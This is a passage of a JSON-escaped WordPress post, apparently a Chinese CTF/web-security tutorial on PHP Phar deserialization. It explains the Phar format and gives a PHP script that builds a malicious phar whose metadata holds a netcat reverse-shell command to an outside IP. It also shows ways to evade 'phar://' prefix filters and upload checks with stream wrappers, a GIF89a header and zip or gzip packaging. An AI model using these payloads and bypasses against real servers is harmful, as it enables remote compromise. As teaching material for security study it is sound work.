xxx<?php xxx; __HALT_COMPILER();?> \/\/\u5728\u524d\u9762\u7684\u5185\u5bb9\u662f\u6ca1\u6709\u9650\u5236\u7684\u4f46\u5fc5\u987b\u4ee5__HALT_COMPILER();\u6765\u7ed3\u5c3e\uff0c\u5426\u5219phar\u6269\u5c55\u5c06\u65e0\u6cd5\u8bc6\u522b\u8fd9\u4e2a\u6587\u4ef6\u4e3aphar\u6587\u4ef6<\/pre>\n\n\n\n
manifest<\/h3>\n\n\n\n
\u7528\u4e8e\u5b58\u653e\u6587\u4ef6\u7684\u5c5e\u6027\uff0c\u6743\u9650\u7b49\u4fe1\u606f
\u8fd9\u91cc\u4e5f\u662f\u53cd\u5e8f\u5217\u5316\u7684\u653b\u51fb\u70b9\uff0c\u56e0\u4e3a\u8fd9\u91cc\u4ee5\u53cd\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u4e86\u7528\u6237\u81ea\u5b9a\u4e49\u7684 meta-data<\/pre>\n\n\n\n
contents<\/h3>\n\n\n\n
\u7528\u4e8e\u5b58\u653e Phar \u6587\u4ef6\u7684\u5185\u5bb9<\/pre>\n\n\n\n
signature<\/h3>\n\n\n\n
\u7b7e\u540d\uff08\u53ef\u9009\u53c2\u6570\uff09\uff0c\u4f4d\u4e8e\u6587\u4ef6\u672b\u5c3e\uff0c\u5177\u4f53\u683c\u5f0f<\/pre>\n\n\n\n
\u800c\u5728\u5b98\u65b9\u6587\u6863\u4e2d\u770b\u51fa\uff0c\u7b7e\u8bc1\u5c3e\u90e8\u7684 01<\/code> \u4ee3\u8868 md5 \u52a0\u5bc6\uff0c02<\/code> \u4ee3\u8868 sha1 \u52a0\u5bc6\uff0c04<\/code> \u4ee3\u8868 sha256 \u52a0\u5bc6\uff0c08<\/code> \u4ee3\u8868 sha512 \u52a0\u5bc6<\/p>\n\n\n\n
\u5229\u7528<\/h3>\n\n\n\n
\u56e0\u4e3a Phar \u6587\u4ef6\u4f1a\u4ee5\u5e8f\u5217\u5316\u7684\u5f62\u5f0f\u5b58\u50a8\u7528\u6237\u81ea\u5b9a\u4e49\u7684 meta-data<\/code>\uff0cPHP \u4f7f\u7528 phar_parse_metadata<\/code> \u5728\u89e3\u6790 meta \u6570\u636e\u65f6\uff0c\u4f1a\u8c03\u7528 php_var_unserialize<\/code> \u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c<\/p>\n\n\n\n
Phar\u53cd\u5e8f\u5217\u5316\u4e0d\u4f1a\u8c03\u7528 `weakup `\u7b49\u65b9\u6cd5
\u53ef\u4ee5\u5728\u4e0d\u8c03\u7528`unserialize()`\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u3002<\/pre>\n\n\n\n
php\u4e00\u5927\u90e8\u5206\u7684\u6587\u4ef6\u7cfb\u7edf\u51fd\u6570\u5728\u901a\u8fc7phar:\/\/<\/code>\u4f2a\u534f\u8bae\u89e3\u6790phar\u6587\u4ef6\u65f6\uff0c\u90fd\u4f1a\u5c06meta-data\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\uff0c\u57fa\u672c\u4e0a\u80fd\u4f7f\u7528\u4f2a\u534f\u8bae\u7684\u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u90fd\u80fd\u89e6\u53d1\u53cd\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u5229\u7528\u6761\u4ef6\uff1a<\/p>\n\n\n\n
1. phar\u6587\u4ef6\u8981\u80fd\u591f\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u7aef\u3002
2. \u8981\u6709\u53ef\u7528\u7684\u9b54\u672f\u65b9\u6cd5\u4f5c\u4e3a\u201c\u8df3\u677f\u201d\u3002
3. \u6587\u4ef6\u64cd\u4f5c\u51fd\u6570\u7684\u53c2\u6570\u53ef\u63a7\uff0c\u4e14`:`\u3001`\/`\u3001`phar`\u7b49\u7279\u6b8a\u5b57\u7b26\u6ca1\u6709\u88ab\u8fc7\u6ee4<\/pre>\n\n\n\n
\u4e3e\u4e2a\u6817\u5b50
<?php
    class TestObject {
    
    }
    
    $phar = new Phar(\"phar.phar\"); \/\/\u540e\u7f00\u540d\u5fc5\u987b\u4e3aphar
    $phar->startBuffering();\/\/\u5f00\u542f\u7f13\u51b2\u533a
    $phar->setStub(\"<?php __HALT_COMPILER(); ?>\"); \/\/\u8bbe\u7f6estub
    
    \/*\u53ef\u9009*\/
    $o = new TestObject();
    $o -> data='busybox nc 111.111.111.111 4444 -e \/bin\/sh';
    $phar->setMetadata($o); \/\/\u5c06\u81ea\u5b9a\u4e49\u7684meta-data\u5b58\u5165manifest
    
    $phar->addFromString(\"test.txt\", \"test\"); \/\/\u6dfb\u52a0\u8981\u538b\u7f29\u7684\u6587\u4ef6
    \/\/\u7b7e\u540d\u81ea\u52a8\u8ba1\u7b97
    $phar->stopBuffering();\/\/\u5173\u95ed\u7f13\u51b2\u533a
?><\/pre>\n\n\n\n
\u6bd4\u8f83\u91cd\u8981\u7684\u662f\uff0c\u8bb0\u5f97\u66f4\u6539\u81ea\u5df1\u7684 php.ini<\/code> \u5c06 phar.readonly \u90a3\u4e00\u884c\u8bbe\u7f6e\u4e3a Off\uff0c\u5c06\u524d\u9762\u7684\u5206\u53f7\u53bb\u6389\uff0c\u5206\u53f7\u5728\u8fd9\u91cc\u8d77\u7740\u6ce8\u91ca\u7b26\u7684\u4f5c\u7528<\/p>\n\n\n\n
\u6ce8\uff1a\u6587\u4ef6\u4e0a\u4f20\u65f6\uff0c\u4e0d\u5fc5\u8981.phar \u540e\u7f00\uff0c\u6587\u4ef6\u4e0a\u4f20\u4e0d\u662f\u96be\u70b9\uff01\uff01\uff08phar \u4f2a\u534f\u8bae\u81ea\u52a8\u89e3\u6790\u6210.phar \u6587\u4ef6\uff09<\/p>\n\n\n\n
\u800c\u5229\u7528\u8be5\u53cd\u5e8f\u5217\u5316\u7684\u7684\u7b2c\u4e00\u6b65\u5c31\u662f\u4e0a\u4f20phar\u6587\u4ef6<\/p>\n\n\n\n
\u7ed5\u8fc7<\/h3>\n\n\n\n
\u683c\u5f0f<\/h4>\n\n\n\n
\u5229\u7528 Phar \u53cd\u5e8f\u5217\u5316\u7684\u7b2c\u4e00\u6b65\u5c31\u662f\u9700\u8981\u5c06 Phar \u6587\u4ef6\u4e0a\u4f20\u5230\u670d\u52a1\u5668\uff0c\u82e5\u670d\u52a1\u5668\u5b58\u5728\u9632\u62a4\uff0c\u90a3\u5c31\u9700\u8981\u66f4\u6539\u6587\u4ef6\u683c\u5f0f<\/p>\n\n\n\n
\u6bd4\u5982\u53ea\u53ef\u4ee5\u4e0a\u4f20gif\u6587\u4ef6<\/p>\n\n\n\n
PHP \u901a\u8fc7 Stub<\/code> \u91cc\u7684__HALT_COMPILER();<\/code> \u6765\u8bc6\u522b\u8fd9\u4e2a\u6587\u4ef6\u662f Phar \u6587\u4ef6\uff0c\u5bf9\u4e8e\u5176\u4ed6\u65e0\u9650\u5236\u3002<\/p>\n\n\n\n
\u6545 \u5bf9\u6587\u4ef6\u540e\u7f00\u3001\u6587\u4ef6\u540d\u8fdb\u884c\u66f4\u6539\uff0c\u5176\u5b9e\u8d28\u4ecd\u7136\u662f Phar \u6587\u4ef6\uff0c\u6240\u4ee5\u4e0d\u7528\u62c5\u5fc3\u6587\u4ef6\u540e\u7f00\u7684\u95ee\u9898<\/p>\n\n\n\n
\u7ed5\u8fc7phar<\/h4>\n\n\n\n
if (preg_match(\"\/^php|^file|^phar|^dict|^zip\/i\",$filename){
    die();
}<\/pre>\n\n\n\n
\u901a\u8fc7\u534f\u8bae\u7ed5\u8fc7
1\u3001\u4f7f\u7528filter\u4f2a\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7
php:\/\/filter\/read=convert.base64-encode\/resource=phar:\/\/test.phar
 
2\u3001\u4f7f\u7528bzip2\u534f\u8bae\u6765\u8fdb\u884c\u7ed5\u8fc7
compress.bzip2:\/\/phar:\/\/\/test.phar\/test.txt
 
3\u3001\u4f7f\u7528zlib\u534f\u8bae\u8fdb\u884c\u7ed5\u8fc7
compress.zlib:\/\/phar:\/\/\/home\/sx\/test.phar\/test.txt<\/pre>\n\n\n\n
\u7ed5\u8fc7__HALT_COMPILER\u68c0\u6d4b<\/code><\/h3>\n\n\n\n
\u53ef\u4ee5\u901a\u8fc7\u524d\u9762\u52a0\u4e0a\u56fe\u7247\u5934\u7ed5\u8fc7<\/p>\n\n\n\n
$phar->setStub(\"GIF89a<?php __HALT_COMPILER();?>\");<\/pre>\n\n\n\n
\u4e5f\u53ef\u5c06 Phar \u6587\u4ef6\u7684\u5185\u5bb9\u5199\u5230\u538b\u7f29\u5305\u7684\u6ce8\u91ca\u4e2d\uff0c\u538b\u7f29\u4e3a zip \u6587\u4ef6<\/p>\n\n\n\n
<?php
$a = serialize($a);
$zip = new ZipArchive();
$res = $zip->open('phar.zip',ZipArchive::CREATE); 
$zip->addFromString('flag.txt', 'flag is here');
$zip->setArchiveComment($a);
$zip->close();    
?><\/pre>\n\n\n\n
\u6216\u8005\u662f\u5c06\u751f\u6210\u7684 Phar \u6587\u4ef6\u8fdb\u884c gzip \u538b\u7f29\uff0c\u538b\u7f29\u547d\u4ee4<\/p>\n\n\n\n
gzip test.phar
\/\/gzip \u6587\u4ef6\u540d.phar
\u538b\u7f29\u540e\u540c\u6837\u4e5f\u53ef\u4ee5\u8fdb\u884c\u53cd\u5e8f\u5217\u5316<\/pre>\n","protected":false},"excerpt":{"rendered":"
\u6f0f\u6d1e\u5229\u7528\uff1a \u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff08Deserialization Vulnerability\uff09\u662f\u4e00\u79cd\u5b89\u5168\u6f0f\u6d1e\uff0c\u5b58\u5728\u4e8e\u5e94 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,2],"tags":[],"class_list":["post-133","post","type-post","status-publish","format-standard","hentry","category-ctf","category-web"],"_links":{"self":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/133","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=133"}],"version-history":[{"count":7,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions"}],"predecessor-version":[{"id":187,"href":"http:\/\/101.201.119.158\/index.php?rest_route=\/wp\/v2\/posts\/133\/revisions\/187"}],"wp:attachment":[{"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=133"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=133"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/101.201.119.158\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=133"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}